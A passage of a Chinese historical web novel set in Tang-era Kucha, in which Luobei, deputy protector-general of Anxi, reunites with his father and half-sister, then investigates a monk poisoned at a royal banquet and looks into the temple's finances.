阿史那献摇了摇头:“威震西域的‘乌特特勤’哪里还能有私事?自皇帝委派你回安西任职的诏书一发,不论汉藩,那些西域里有头有脸的人各个关心。他们都有自己的心思。所以,我才不让你们去驿站。” 西域暗流涌动,已非一日。洛北对此心知肚明,只是点了点头:“伊逻卢城中有异动?” “异动暂时还称不上。”阿史那献道:“就是城北忽而起了一个新酒肆,不几日就宾客如云,其中不乏一些曾经投降过突骑施而被我罢官的龟兹贵胄。” 裴伷先沉吟片刻:“大都护,这些人失去了官爵和权势,借酒消愁,好像也没什么不合理的么?” “一开始,我也是这么想的。直到我的人在那里侦查了几日,还没有查到酒肆老板的真实身份。”阿史那献道,“我本欲以身份造假的由头查抄此处,但不少龟兹贵胄明里暗里地前来阻拦,我暂时还不想和他们撕破脸,就没有动作。西域战事刚止不久,老百姓没过几天安生日子,妄动兵戈,非我之意啊。” 洛北点了点头:“请父亲放心,此事我和伷先会留意的。” “我不是这个意思。” 阿史那献忍不住拍了拍他的肩,有点遗憾地叹了口气。他已经逐渐习惯有时候洛北会把“奏对”的格局搬到他们父子之间来: “我这个做父亲的,只是想提醒你小心留意,不要被人引到那边去罢了。” 说话之间,三人已经走到衙署之内,这里的布置与中原任何一座官署没有区别,只有青金石镶嵌的雕梁画栋提醒众人,这是一座位于西域的衙署。有侍女来请裴伷先去看看自己的房间。 “再过几日就是新年,你们也不要急着到碎叶城去。就在这儿,定定心心地把年过了再走。”阿史那献道:“虽然这几日没有下雪,可一到山里,气候就说不准了。” 裴伷先乐得在龟兹这样繁华的地方多留一留,便低头称是,跟着侍女离开了。阿史那献同洛北穿过回廊,来到了花厅之中。 身着窄袖的下人们端上新煮的茶水和糕点,阿史那献率先端起茶水抿了一口: “你呀,自作主张惯了,这么大的事情也不写封信告诉我。这会儿要见面,我连件礼物都没有准备,怕是会让人家姑娘笑话我们突厥人不懂规矩。没法子,只能随后再补了。她可有喜欢的东西和样式?伊逻卢城多的是能工巧匠,我多用些金银,他们很快就能赶出来了” 洛北这才要同他解释:“父亲,刚刚当着伷先,我不好言明。但这件事情,是您误会了。” 阿史那献略带迟疑地看着他:“你的意思是” 洛北还没来得及解释,下人已来通传,说是褚郡君过来拜见阿史那献将军。 “请她过来吧。”洛北道。 阿史那献已反应过来一点:“她姓褚,难道是褚遂良的后人?” “父亲,褚郡君是我母亲的女儿,是我异父同母的妹妹啊。”洛北轻声道。 他话音还在空中,褚沅已经换了一身见客的盛装,缓步行到花厅之前,敛衽为礼,盈盈下拜: “见过大都护。” “咣当”一声,阿史那献手中的茶盏砸在地上,摔了个粉碎。 第150章 夜宴突发杀人案。 褚沅被这突如其来的声响吓了一跳, 她不知所措地抬起头,向洛北的方向寻求帮助。 “父亲。”洛北轻轻拉了一下阿史那献的衣摆。 阿史那献这才意识到自己失态,他嗫嚅着嘴唇, 想要说些什么, 却几度说不出话来。最终他打了个手势,请褚沅落座,才又轻声发问:“你叫叫什么名字?” “褚沅。” “沅有芷兮澧有兰,思公子兮未敢言。”阿史那献低声念了一遍《九歌·湘夫人》中的名句,声音里带着久远的怀念:“这句诗还是她教给我的呐。” 他摇头一笑, 说不准是自嘲还是怀念:“褚郡君今年多大岁数?” “我今年二十岁了。” “二十年了”阿史那献将这三个字在口中咂摸了一遍,凭空升起一股无边的哀愁来,就像汉乐府中的那句“岁月忽已晚”。 他望着褚沅, 像是在望着很久以前的那个人:“你这是第一次离开大明宫,离开长安吧?一路上顺利否?” “是。有劳大都护记挂。”褚沅答道:“一路顺利,还看到了戈壁、草原、湖泊和雪山, 这些都是我此前从未见过的风景。”说到后半句话时, 她的语气不自觉地染上一点轻快。 “西域风景与长安迥异,风土人情也大不相同。”阿史那献笑道:“洛北,明日你带着褚郡君去看看龟兹的夜市吧,城南有家铺子, 专卖古籍善本,我想, 褚郡君会喜欢的。” “是,孩儿遵命。”洛北拱手道。 阿史那献点了点头:“我的驿馆就在衙署旁边,西北角上有个院子, 遍植松柏,院中有湖水, 是我招待长安城中来使的地方。你们就住在那里吧。褚郡君不必拘谨,就把这里当做自己家里一样。倘若我的这个孩子惹你不高兴,你告诉我,我替你教训他。” 洛北玩笑道:“父亲当我是什么人了。” “大都护说笑了。”褚沅轻轻笑了:“阿兄思虑周全,待人温和,哪里会惹人不高兴呢?” 洛北和阿史那献也都笑起来,笑得连进来打扫碎瓷片的仆役都不明所以。 “好了,你一路也累了,去休息吧。今晚龟兹王白莫苾在宫中设宴,到了出发之前的时候,我再派人来叫你。”阿史那献轻声道。 “多谢大都护。”褚沅又低身行了个礼,才退出花厅。 偌大的花厅之中顿时只剩下洛北和阿史那献两人。阿史那献仰起头,闭上眼睛,轻轻地叹了口气,再低头时,洛北分明望到了他眼角的泪痕: “父亲” 阿史那献摇了摇头,拒绝了他递过来的一方手帕,转而用衣袖擦掉了眼泪: “二十年前,我也曾经设想过,是否能够把你的母亲也救出宫廷。可是,西突厥兴昔亡可汗次子,禁军中郎将的身份,在朝中实在是不值一提。我没能做到。” 这是连洛北都不知道的往事了。他坐在那里,静静地听着阿史那献的话:“父亲,恐怕这不是您的错。” “现在来论错与对,还有意义么?都是过眼云烟了。”阿史那献笑着站起身,拍了拍他的肩,“二十年,足够兴昔亡可汗家族落而复起,足够女皇的王朝兴而衰败如今我除了往事之外,已经有其他更值得珍惜的东西了。” 他现在是西突厥可汗兼安西大都护,他有岁岁草木荣枯的草原,有人潮喧嚣,往来不断的伊逻卢城,还有和平宁静,万家灯火的安西大都护府。 洛北明白他的意思,一时也想不出如何答话,只得静默不语。半晌过后,还是阿史那献劝他:“你也去休息片刻吧,我恐怕今晚的宴会,不会那么早结束的。” 那是个月色极美的夜晚,月光如水,洒在青石铺就的道路上,像蒙上了一层浅淡的霜雪。 为了要去龟兹王宫赴宴,洛北特地换上了紫色的官服,裴伷先也换了绯袍,一路仪仗整齐,连马匹都装饰上金花与金叶,红色流苏垂挂在马鞍下,随着马儿的动作一荡一荡。 “这好歹也是匹战马,搞这些花里胡哨的装饰。”洛北忍不住伸手捞了一把流苏,绳络之中掺杂着金丝,“真是胡闹。” 裴伷先知道他不耐烦去应付这些人事,一边听他抱怨,一边忍不住吃吃地笑:“公子当年劝我少摆些排场,今日可知,这排场也是必要的了吧。世人多的是先敬罗衣后敬人的” 洛北说不过他,正想找个话题岔开去,此刻一片环佩碰撞的声响从门边传来,叮叮咚咚,煞是好听, 洛北向那边望去,忍不住露出一个笑容:“沅儿!” 褚沅难得着广袖,披宽帛,一袭如水一般的月白长衫垂在地上,掩住了松青色的八破长裙,她上身是织金团花的嫩白短衫,为着怕冷,又多加了一层缝着貂绒的石榴红半臂。 她腰间和发间的配饰在月色下散着莹莹的光,让人不由自主地注意到她那张绝丽而凛然的面容,那是如同雪压青松一般庄严的美。 她躬身道礼:“有劳诸位久候了。” “不久不久。”裴伷先笑着道:“为候佳人,等多久都不算久。” 洛北在他身边重重地咳了一声,从马车上取下风帽和斗篷,一股脑地盖到褚沅身上:“还病着,怎么穿得这样少,仔细着了风。” “阿兄。”褚沅轻轻地喊了他一声,他也就不好再说下去,还是把她扶上了马车才作罢。 阿史那献是来得最晚的一个,他望了一眼众人,才催动浩浩荡荡的队伍向龟兹王宫出发。 金碧辉煌的龟兹王宫中,白莫苾本在金狮子座上招待一众龟兹的贵胄、国老和高僧,听到大唐安西大都护来访的消息,立刻冲到宫门亲自迎接。 他伏倒在地,说汉话的声调带着西域腔调的婉转:“小王白莫苾叩见大都护、副大都护、长史官。” 阿史那献带着众人下马,与他互相见礼:“王上多礼了,今日承蒙盛情,有劳王上。” “几位贵客驾临,小王宫中蓬荜生辉,何来劳烦呢?”白莫苾笑道。他引着众人进入王宫,替他们介绍那些龟兹的贵族和大臣,又安排自己的王后引褚沅入座。 空气中处处弥漫着香料与美酒的香气,一旁的乐队不断弹奏着悠扬的龟兹乐曲,把宴会的氛围推得更加热烈。洛北和裴伷先都久在西域,素有声名,一路上的寒暄不断,待到坐到坐席上时,洛北已觉得自己脸上都要笑僵了。 坐席上铺着绣有金花的厚毯,诸多极富特色的佳肴摆在他们面前的矮桌上。洛北取过银壶往自己手边的琉璃盏里斟了半杯,一口气喝下肚,才算缓解了这番人情来往带来的晕眩。 沿着雕着浮雕的墙壁的两边都坐满了宾客。一边是龟兹本地的贵胄和高僧,一边是大唐安西大都护府的官员们。身着锦袍的侍女与仆役们穿梭其间,为他们斟酒端菜。 阿史那献是在场官爵最高者,他见众人坐定,率先举杯致辞,长长的官样文章中不过说了两件事,一是感谢主人的盛情,二是欢迎洛北重回安西。 白莫苾也举杯道词,而后是洛北自己——等到这繁杂的礼仪流程走完,才算是宴会的正式开始。 随着音乐的变换,一群身着绚丽服饰的舞者进入大殿,开始应和着乐队的旋律跳起舞蹈。她们的舞姿轻盈而富有韵律,手中的彩带随着舞动在空中划出一道道美丽的弧线。 白莫苾特意凑到洛北身边,轻声对他道:“将军也会跳舞吧?我听闻将军曾在金山的山麓一舞,动人心魄,不少人以为是神迹。” 洛北差点被他这过度的吹捧搞得有些不自在,但他面上依旧是一派平常的镇静神色,温言道: “当时喝多了酒,是随心之举。怎堪入乐舞大家的法眼?只怕在龟兹这样的万乐之都长大的小孩子都比我跳得好,王上实在是说笑了。” “哎,将军太谦了。”白莫苾举杯笑道。他将杯中酒一饮而尽,又道:“将军,我的小妹久闻将军的英雄,特地准备了一曲舞蹈,想要献艺于人前,还请将军赏脸相看。” 他说罢,也不等洛北同意与否,立刻击掌三声,乐团声音乍停,换上了几声清越的羯鼓。 在密集的鼓点之中,龟兹公主身着一身红衣上场了。 在场的诸多青年贵胄的目光都被她吸引了过去,连厅堂中说话的声音都轻了。 在这难得的安静时间,琵琶手勾了勾他手中的琴弦。如珠玉相击般的脆响如波纹一样在厅堂中散去。公主踩着鼓点,起身而舞,绯色的舞服旋转起来时,就如同一团熊熊燃烧的火焰,把她娇媚的面容称得分外多彩。 极速旋转之中,她身上佩戴的金银挂饰、彩色纱巾上系的铃铛都随着鼓点一振一振,偶有一两个缝得不那么牢固的铃铛飞出去,落在青年贵族们的手中,便引发一阵哄抢。 公主也留意到了那桌边因她而起的小小骚动,面颊上的笑容越发骄傲,她拿那双含情的棕色眼眸扫了一眼众人,而后落在洛北脸上。 洛北的注意力倒好像完全不在她身上,他的目光在厅堂中四下扫视,忽而钉在某个地方。 公主忍不住也回头望去,那里坐着一位年事己高的昭怙厘寺僧人——昭怙厘寺是龟兹的国寺,这些高僧在龟兹城中也是极有威望的。 似乎感受到这些目光,那位僧人好奇地抬起眼睛打量人们,但他的眼睛只是抬了一点,就彻底没了力气。 他向前栽倒在酒桌上,压碎了一桌的盘碟。 公主忍不住跪倒在地,发出一声尖叫,人们像是才注意到有人死去,恐慌的情绪立刻传染给了在厅中的每一个人。 没有人再在意乐曲和歌舞,人人急得四散奔逃。白莫苾见势不妙,连着拍了两下桌子,也没有起到任何成效。 在这一片混乱之中,洛北终于忍不住拍案而起,厉声喝斥道: “都给我停下!” 150-160 第151章 “我是安西副大都护,昆陵郡公阿史那乌特,汉名洛北,叫你们方丈出来见我!” 洛北在西域素有积威。这一声断喝到底是把众人震慑了下去。金碧辉煌的宫殿之中只留下一群或惊或怖或怯或怕的人, 他们有的把目光投向死者,更多的人把目光投向了洛北—— 洛北已扫视了一圈现场,偌大的厅堂之中, 光来访的贵宾就有几百号人, 更不要说往来穿梭的仆役和舞姬,想从这些人口中找到线索几乎是不可能的。 他下定决心,便从桌案上翻身跃出,立在玉阶之上向阿史那献和白莫苾请命: “大都护,王上, 事发突然,请立刻传召御医救护,并疏散众人。” 阿史那献点了点头, 招手示意安西都护府的官员起身组织秩序。裴伷先这个新任的长史官当仁不让,当即以汉语、突厥话和西域盛行的吐火罗语招呼众人分批离场。 侍女们把公主搀扶了下去,堂上只留下与此案有关的寥寥数人。匆匆赶来的王宫御医是个年轻的粟特人, 他用骆驼绒毛在老僧的口鼻之前试了又试, 也没等来任何奇迹。 “死者是什么人?”阿史那献温声问一脸悲伤的白莫苾。 白莫苾轻轻地叹了口气:“他叫白迦叶,也是王家子弟,论辈分是我的叔叔。我听说,他小的时候就向往佛法, 长大便遁入佛寺当了僧人,如今已是昭怙厘寺的监院。” 洛北和裴伷先对视了一眼, 监院这个职务可不简单啊。 虽说佛家讲究众生平等,但佛寺毕竟尚在红尘之中,少不得凡尘俗事。监院便是替寺庙方丈料理这些俗事的人, 他是寺庙的总管,主理一切寺庙的行政事务。 像昭怙厘寺这样的国寺, 监院白迦叶经手的人事与财政只会比裴伷先这位长史官手下的更复杂,他的位置更是无数人觊觎。 想要从这么多人和事中抽丝剥茧出线索,只怕他们俩有的忙了。 他们俩的这番小动作并没有被白莫苾注意到,他擦了擦眼泪,轻声道:“小时候我们去昭怙厘寺听法,多是他带着我们玩。龟兹王家的家窟也是托他看护供养。唉,如今他死了,我要去哪里寻人托付呢?” 白莫苾大概是不会缺人托付的——站在昭怙厘寺的山门之前,洛北由衷地想。 他眼前是高峻的围墙和寺庙,鳞次栉比,随着山势绵延不绝。东川水自寺群之中穿过,隔出一东一西两座寺群,佛塔修在河岸边的高坡上,轮廓如同天竺那样上圆下方,宏伟异常。人在这建筑之下被衬得很小,那些很小的僧侣和香客们就穿梭这宏伟的寺群之间,向每一座佛塔叩拜祈祷。 裴伷先爬下马来,他可没有洛北那样的好体魄,昨夜被案子折腾得那样晚,还能在一大清早就起来“拜谒佛寺”。他慢腾腾地把马的缰绳交给仆役,走到洛北身边: “掌管着这样一群宏伟的大寺,怕白迦叶每年的收入要胜过我这位西域豪商,哼,何况他还不用向朝廷纳税。” 洛北轻轻笑了:“轻声些,伷先。你是生怕别人不知道你这位长史官在打寺产的主意?”他见有僧人远远地过来,露出一个温和的笑容:“大师安好?” “阿弥陀佛。”那僧人极年少,黑得发红的脸上只有黑白分明的双眸是亮的:“两位贵客,可是来昭怙厘寺上香?” 裴伷先点了点头:“我与我家公子壮游到此,想来上香,顺便给佛像捐个金身修修功德。敢问小师傅,可是从这里走?” “哎呀,可真是不巧了两位!昭怙厘寺今日不开。”僧人笑了笑,咧开一嘴白牙,他的汉话说得很好,几乎不带口音:“我刚刚去里头找监院,都被人给赶了出来。” “找监院?”洛北好奇地问:“看样子,你是外地来的僧人吧?你和监院法师有什么往来?” “谈不上往来,就是,就是监院法师答应给我一笔”他话到一半,忽而发现不对,拍了拍脑袋,“我和你们说这些做什么?两位,两位是要来做功德的对吧。我这里有一笔大大的功德可以做。” “什么大大的功德?”裴伷先好奇问。 僧人双掌合十:“我是于阗人,六年前随师父周游天竺而来的路上路过东川下游。那有几座小村庄,一直为东川水所苦。我师父便发宏愿,要为那里的老百姓修建堤坝和沟渠,以引些河水灌溉田地。后来,我师父圆寂在河水里,这份宏愿就由我继承了。” 他眨巴眨巴眼睛,颇为殷切地道:“两位贵客,救人一命胜造七级浮屠,何况你们这救的还不是一个人,这是多么大的功德” 他话还未说完,已有巡院的寺僧走过来,远远地看着他笑:“慧光,你又在那里骗钱了么?!” “不是骗钱,不是骗钱!”慧光好像被踩到了尾巴的猫咪那样跳起来:“是要修水利!” “从来只有修佛寺佛塔,造像建窟,敬奉三宝 没听过修水利来修功德。”寺僧笑道:“你也和你那师父一样失心疯了么?小心有一天也栽到水里去!” “我师父没有失心疯!”慧光气冲冲地要过去理论。 那寺僧人高马大,手中还有一根铁棍,见他过来,只把铁棍在手中掂了掂:“喂,上回还没被打够么!” 眼见着两人要起冲突,洛北赶忙上前,一手把那小僧挡开,一手拂开寺僧手中的铁棍:“佛教清净之地,何必喊打喊杀的。” 他足足高了那小僧半个头还多,轻轻一挡就让那小僧动弹不得:“呜呜呜!坏人!你都听到了,他诽谤我师父,凭什么不让我教训他!” 那寺僧也不买他的账:“你算什么东西,也来管教我!”说罢便把铁棍照他上身扫了过来。 洛北还是第一次遇到这种劝架劝得两边不讨好的情况,他只得发力拎起那小僧的衣袍,把他丢在一边,又反身下折,做了个铁马桥躲过这一棍。 看文会员裙VX(Maeve-0) 那寺僧极少遇到这样难缠的人物,反手便要抽棍再打。洛北已起身,一双手牢牢抓住了那棍子的另外一端。 他看着双手纤长,却并不文弱,一双手如铁铸一般,寺僧是挣也挣不开,挪也挪不动,几下差点没了力气,便被洛北轻轻一抽,把棍子抽了开去。 洛北把铁棍掷在一边:“好了,现在你们可以止戈休战了。” 那寺僧被他一带,没吃准重心,顺势倒在地上摔了个狗吃屎,满面都是灰尘。他气得嘴唇发白,兀自拍了拍衣袍从地上爬起来:“你们竟敢在昭怙厘寺前闹事!我要告诉方丈去!” “我们可没有!”裴伷先正要解释,却见那寺僧一溜烟跑得没影了。他正要转身叫那慧光,谁料那小僧也不知什么时候跑了。 他无奈地叹了口气:“公子,我就说应该带着仪仗和卫队来,巴彦将军要是知道” “他被我派去找阿拔思了,一时半会儿回不来,而且他就算是知道,来昭怙厘寺拜访方丈也不算是什么大事。是吧?”洛北摊开双手。 两人沿着山坡上的台阶缓步而上。一路都有极为虔诚的龟兹人带着香花和金银来供养佛祖,还有三五女眷,结伴而行。在众人之间,他们这样两手空空的人倒显得有些奇怪。 裴伷先压低声音,以极轻的突厥话在洛北耳边道:“我粗略地估计过,今日非年非节,来供奉的人数也如此之多。只怕光在供奉这一件事上,这些寺院每年便能收到数万钱。” 洛北虽知寺庙豪富,但也不知道寺庙能豪富到这样的地步:“此话当真?” “这还是少算了,莫忘了还有法会、法事、年节,至于寺庙的寺田、寺产,那更是不可胜数了。”裴伷先道,他话音未落,远远地就有一群拿着铁棍的僧人在寺僧的带领下冲了出来。 那寺僧身上的尘土还没拍干净,显得分外狼狈,一见洛北和裴伷先,忙伸手指了指他们: “师兄,就是他们!就是他们在寺庙门口伙同那个小疯子慧光闹事!” 那护院僧人也是血气方刚的年纪,但好歹受过佛法滋养,他快步走到众人面前,念了句佛号:“阿弥陀佛,两位是来礼佛的?” 裴伷先以吐火罗语道:“我与我家公子是壮游到此,想来拜谒佛寺,并寻机会做些功德,刚刚是路见不平,拔刀相助,并非有意冒犯贵刹。”他说着,将事情经过简明扼要地说了一遍。 裴伷先既能从流犯做到富甲一方的大商人,除却洛北作为“乌特特勤”的帮扶外,自己也颇有本事。 别的不论,就单在说话这门道上,他是极有心得的。从他口中说出的这件事,是处处轻描淡写,每每都给几边留了颜面。 那护院僧人脸色越听越好看,越听手中的棍棒越拿不稳,末了,那护院僧人忍不住双手一合十,微笑道: “原来是一场误会。两位贵客见谅。两位既从长安来,不如在敝寺多留些日子,敝寺后山还有些佛窟壁画,极为精美,若能在此地供奉佛窟一座,那是大大的功德呀。” “好说,好说。”裴伷先笑道。 他们说话间正要往寺庙中走,先前那摔了跤的僧人忽而不干了:“护院师兄!你莫要被这两个人的花言巧语蒙骗了,你看他们穿的衣裳,连仆从都不带,能有多少银钱?!我看他们一定是来寺庙闹事的!” 裴伷先不慌不忙:“我与我家公子都喜欢清净,不喜欢有人追随。” “这”护院僧人有些为难。 “护院师兄,你看,你看,我这大牙都磕了一半!”那僧人露出一口鲜血:“你可要为我做主啊!” 护院僧人皱了皱眉:“两位,若见了血,确乎有些严重。还请两位和我一道进院去面见知客师兄。” 裴伷先好声好气:“大师,我与我家公子今日是有要事,实在脱不开身,可否等我们先面见方丈之后,再来寻知客法师?” 有了护院僧人撑腰,那巡查僧人顿时有了底气:“你们两个危险分子,还想去见方丈?!我告诉你,门都没有!” 洛北在那边听他们掰扯了小半日,此刻终于忍不住了,他冷起那张俊朗面容,伸手从袖中抽出一只令牌,丢到那护院僧人手上: “我是安西副大都护,昆陵郡公阿史那乌特,汉名洛北,奉命察查监院白迦叶被害案。叫你们方丈出来见我!” 第152章 “寺中弟子有眼不识泰山,还请将军见谅。” “寺中弟子有眼不识泰山, 还请将军见谅。” 昭怙厘寺的禅房就修在山体之上,洛北通过木栈道登入室中,便觉一股阴凉扑面而来。墙壁上以彩绘描画着文殊菩萨的经变故事, 在他们的头顶, 一个个飞天或抱乐器,或缠彩带,或洒飞花,漫天飞舞。 洛北坐在上座的位置,手边是一盏方丈亲自捧上的清茶。老方丈的年纪比死去的监院白迦叶还要大, 身板却挺得笔直,身体极清瘦,一把雪白的胡须飘在胸前, 显出几分仙风道骨。 洛北抿了一口清茶,轻轻往面前的矮桌上一放:“大师多礼了,我本不欲打扰佛门宝地, 奈何事涉生死, 不得已而为之。” 他的话语极客气,神情却很冷漠。方丈便猜不出他的心思,只得坐在一边,以生疏的汉话轻声道: “……将军到访, 是令敝寺蓬荜生辉的好事。至于监院师弟之事,老衲业已知晓, 将军今日拜访,是怀疑寺中有人与此案有关?” 洛北从袖间取出一只纸包,轻轻铺开在方丈面前:“这是宫中御医从监院法师随身所带的佛珠上检出了毒药。这是一味叫做铅丹的毒药, 它的用途么……我不说怕方丈也知道。” 那铅丹的粉末在灯光下呈现出淡淡的橙红色,这样鲜艳的颜料多是用于佛窟之中的壁画上。能使用这种毒药的人, 必与佛寺关系极深,方丈对此心知肚明,他抿了抿嘴唇:“这可是事关重大,不知道将军目前可有怀疑对象?” 洛北抬起眼来,似笑非笑地看了方丈一眼:“我这里可没有,难道说,大师心中有个人名?” 他似乎有些腻烦这套迎来送往,互相试探的把戏,端起茶水抿了一口,打断了方丈未出口的辩解。 方丈站在那里,面上似微有愠色,只是碍于洛北的身份,不敢当面说出来。他坐到了另外一侧: “将军这是什么话,我若知道有人要谋害师弟,难道会坐视不理么?” “方丈大师,我想将军绝不是这个意思。”裴伷先适时地加入了他们的谈话,“监院大师被人谋害,在众目睽睽之下倒毙在酒宴之上,如今伊逻卢城中已是人心惶惶。我与将军今日来此,只是为了查明真相。现在说怀疑,还太早了。我们此来,只是想得到法师的协助而已。” 他温言细语,神态谦卑,把方丈的火气抚平了不少。方丈也就着他给的台阶走了下来:“既然如此,请将军和裴长史吩咐吧。” 片刻之后,洛北与裴伷先重新走在高高的木栈道之上,一个青年僧人在前面为他们开路。他的眉骨平矮,双目有神,一张圆圆的面容上洋溢着慈和的笑容——方丈介绍说,此人是监院的弟子,从汉地来的僧人博明。 “师父的禅房离方丈法师不远。”他一边走,一边喋喋不休地给洛北和裴伷先介绍寺庙中的情况,几个追逐打闹的小沙弥自他身边穿过,险些撞在他的腰上。 “小心!”博明眼疾手快地一手拉过一个:“不是告诉你们不要在木栈道上打闹么?” “知道了,博明师叔!”几个孩子一起停下,齐齐地喊道。博明这才挥了挥手,把他们都放了过去。可他们一到博明背后,没走几步,就又开始打打闹闹起来。 裴伷先笑道:“这几个孩子是哪里来的?” “哦,近些年来西域多战事,有不少孩子失去父母,流离失所,食不果腹。寺中收留了不少。”博明道:“他们可以学佛经,也可以学画壁画、画佛像,师父还专门拨了笔款项,给他们每餐添些餐食。” 洛北静默不言,只站在那里,望着滔滔河水自木栈道下而过。 裴伷先慨叹道:“监院法师慈悲为怀,确实是个不可多得的好人啊。” “师父待人一向很好,平日对我们也是关爱有加。”说到此处,博明的声音已经有些哽咽了,“他虽是龟兹王族出身,又做了监院,却从来不讲排场,不求奢侈,我们要给他端茶倒水,他都会拒绝……唉,可惜……” 说话之间,他们已经停在一处禅房之前,博明躬身道礼,把他们让了进去。 监院的禅房墙壁上也画着彩绘,画着的是西方极乐世界中,佛祖讲经说法的胜景。亭台楼阁之中,笙鼓齐鸣,漫天神佛恭听说法,下方两位天女正在舞蹈。这壁画的色调比方丈房中鲜明得多,洛北不禁停在那里,细细地观摩起壁画来。 裴伷先已在房中寻了一圈,在书桌上找到几张写满了数字的草稿,他极快地扫了一眼草稿,很快就认出这是白迦叶计算某样款项时遗留的草稿,他拉了拉洛北的衣袖,轻声以突厥话道: “将军,这里的账目怕都是从这位监院手中过的……而且,我担保他有两套账本。” 洛北知他是个财会的行家,却没想到他能从几张草稿上看出这许多门道,他轻轻一笑:“方丈法师的那本,一会儿我去问他要。至于真的那本……” “我刚刚在房中翻了,没有翻到。不过也是,我要是白迦叶,必然要把这账本藏在一个妥帖之处才是。”裴伷先道。 洛北点了点头,目光却始终若有所思地盯着壁画:“伷先,你看这几处飘带,是不是个文字的形状?” 裴伷先顺着他的提示望过去,正好在墙壁曲折处找到一串飞舞的飘带,他打量了半天,也没认出来是什么: “文字?这好像只是飞舞的飘带吧?” “不,这是文字。”洛北摇了摇头,“壁画绘画素有定规,工匠绝不可能拂逆法师心意私自在壁画上画些无意义的彩带。” 裴伷先也通晓西域诸多文字,但他端详壁画许久,也没找到方向:“可惜西域语言庞杂,我虽然通晓其中不少,也很难破解出其中含义,就连它的来源也不知道。” 洛北点了点头,他干脆从桌上抽了张纸,将这串飘带都抄录下来,又塞在怀中:“博明,可否烦请你带我们去见方丈法师?” 一听说要账本,方丈法师的脸色由白变红,由红变橙,最终落在了一片灰败上:“将军,寺中账目乃是本寺私事,恐怕不好放在公堂之上。” 裴伷先笑道:“方丈法师误会了,洛将军的意思是由我二人来看这本账本,不会展示在公堂上的。” 方丈法师的脸色稍微缓和了一些,但仍显得有些为难:“这账本涉及寺中诸多事务,若随意让人查看,恐怕会引起不必要的误会。” 洛北微微颔首,语气坚定:“方丈大师,我明白您的顾虑。但此事关乎重大,我们必须查明真相。若方丈大师担心账本外泄,我可以保证,看完之后立即归还,并且不会透露给其他人。” 方丈法师沉吟片刻,终于点了点头:“好吧,既然将军如此坚持,老衲就破例一次。但请将军保证,看过之后不得外传。” “没问题。明日同时,我来归还账册。”洛北躬身道谢。 小半个时辰之后,安西都护府衙署,书房。 几个仆从把从昭怙厘寺拿来的红木书箱搬入了书房之中。他们轻手轻脚地放下书箱,又把其中的账册一本本取出来,用细白的干毛巾擦过之后,一卷卷放在桌上。 “这可是个大工程。”裴伷先坐在书桌边,率先翻起了第一卷,“那方丈法师没耍滑头,真的给了我们三年的账册。” 洛北真羡慕他还有说话的好心情:“莫要多说了,埋头看吧,明日便要把这些账册都还回去。” 裴伷先笑道:“公子呀,你当我这个西域豪商家中不养几个帐房先生的么?你等着,我这就派人去通传。”他说罢就要招呼外头的仆从。 洛北快走几步,对他摇了摇头:“我知道你的人可靠,但现在……不是把此事公之于众的时间。昭怙厘寺时间悠久,这些和尚们都是历代龟兹王的上宾,在龟兹很得人心,贸然和他们起冲突,不仅在伊逻卢城中难以解决,还会被有心人上奏到朝廷去。” 裴伷先闻言,也忍不住叹息一声:“朝中贵人崇尚佛道,各个争相营造佛寺和佛像……确实不宜过早惊动众人。不过,我倒是有一点疑惑。出了这样的大案,只怕将军是一定要将原委始末上奏朝廷的,到了那个时候,朝中那些人会怎么想?” “到了那个时候,朝中就会有不少人站在将军这边,要求裁撤佛寺,清查寺产,解放寺奴了。” 褚沅笑道。 洛北转过身去,褚沅手边拎了只方正的四层食盒,正在门边笑意盈盈地望着他们。 他不由得笑了一声,从褚沅手中接过食盒,一打开,便是香气扑鼻的杏酱羊肉味道。 裴伷先忙活了一天,这会儿也察觉到腹中饥饿,便凑过去拿起了筷子:“褚郡君可否说得再透彻些?” 褚沅轻声道:“朝中不少贵人虽然看重佛教,但也有很多大臣反对将朝廷赋税和皇家私库用于修庙造像这样的事情上。所以……我们只要拿准时机,寻出昭怙厘寺中有人作恶的铁证交上去,必会在朝中引起新一轮的风浪。” 她说着说着,见洛北和裴伷先的目光都落在她身上,不由得放轻了声音:“怎么,我说的若有错处,还请两位指教我。” 洛北轻轻一笑:“我早和伷先说过,论朝政的这些门道,你不亚于朝中任何一个大臣。不错,譬如昭怙厘寺中有人私通突厥,或是与吐蕃勾结……有了‘里通外敌,阴谋叛国’这八个字,朝中的那些人就再也无法干涉我的处置了。” 裴伷先顿感责任重大,他匆忙扒了几口吃的,又坐回桌子边:“公子放心,我定要把这本账册的破绽寻出来。” “我也会看账目,我一起看。”褚沅自告奋勇。 第153章 “修桥补路无尸骸,天底下没有这样的道理!” 有他们二人自告奋勇, 洛北便能自然地从文牍之中抽身而出,他又换了身寻常装扮,带上长弓与箭囊, 借口打猎, 一路打马出了伊逻卢城。 他顺着东川水一路向下走,走了约莫十五里,才看到那僧人慧光所说的几个村落。这里的建筑与中原不同,房子都是土木结构,地基是沙石, 屋基却是一根根立起来的胡杨木。墙体之间用红柳树枝条编织在一起。 有个老人正在院中的摇椅上晒太阳,洛北自然地走上前去,以吐火罗话和他攀谈:“老人家, 我打猎路过了这里,问你讨碗水喝。” “哦,水啊, 屋子里有, 你自己舀来喝吧。”老人瞥了他一眼:“你的吐火罗话说得还不错么。” “和过往的商队学过几句。”洛北穿过长廊,进了屋中,客厅里修了一只大炕,炕上铺着破旧的毡子。一端放着几个箱子, 一端整齐地堆放着被褥和枕头。 洛北从屋子角落的大瓮中舀了半勺水,喝了一口, 毫不意外地尝到了满嘴的泥沙味道——东川是赤河的支流,赤河流淌过沙漠,富有泥沙, 并不稀奇。 洛北面上不表,缓缓地把那半勺水喝下去, 才与老者攀谈: “老人家是做什么营生的?” “从前还有地可种。三年前一场大水,把我的地全毁了。”老人道,“我就改了营生,靠染布挣点辛苦钱。” “三年前的大水”洛北微微皱眉,他怎么不记得三年前赤河发过大水?但此刻多想这些也没有意义,他只把此事记在心里,等着回去查阅安西衙署里的档案,“老人家可否让我看看布?” 老人点了点头,起身,从后院取下几块新染的布料:“客人要不看看吧,这红花染的布料可好看了。” 洛北接过那几块布料,这老人染色手艺不错,虽在乡野之中,也染出了桃红色的布料——若将这布料反复浸染数次,便可以浸染出大红色:“这颜色倒是好看,老人家卖我几块可好?” 他怜惜眼前这个老人孤寡,从腰间的荷包里取出几枚大钱,排在桌上:“拿一块布料来,剩下的便是水钱。” 老人诚惶诚恐地接过:“这,这太多了。” “不多。”洛北笑一笑,又问:“不过这染布可是个费工费时的活计,老人家怎么会干这样的活呢?” 